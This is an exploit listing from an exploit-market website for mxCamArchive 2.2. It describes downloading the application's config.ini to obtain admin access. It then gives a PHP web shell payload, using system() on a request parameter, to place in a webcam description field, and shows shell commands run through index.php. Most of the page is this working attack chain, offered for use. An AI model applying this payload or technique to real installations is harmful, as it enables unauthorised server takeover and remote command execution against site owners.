[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

mxCamArchive 2.2 Bypass Config Download Vulnerability

Author
ahmadbady
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4188
Category
web applications
Date add
17-11-2008
Platform
unsorted
=====================================================
mxCamArchive 2.2 Bypass Config Download Vulnerability
=====================================================


************************(Bypass Config Download Vulnerability)*****************

script: mxcamarchive 2.2
                   
***************************************************************************
download from:http://www.infireal.com/media/serve/106/mxcamarchive2.2.zip  
                                                                                                         
***************************************************************************
...........................................................................
expl:
                                                     
http://site.com/path/archive/config.ini

and login
http://site.com/path/admin


and add new web cam
and Description   '<pre><?@system($_REQUEST["h"]);?></body></pre>'
and save


now:
http://site.com/path/index.php?h=ls -la

***************************************************
***************************************************



#  0day.today [2024-12-26]  #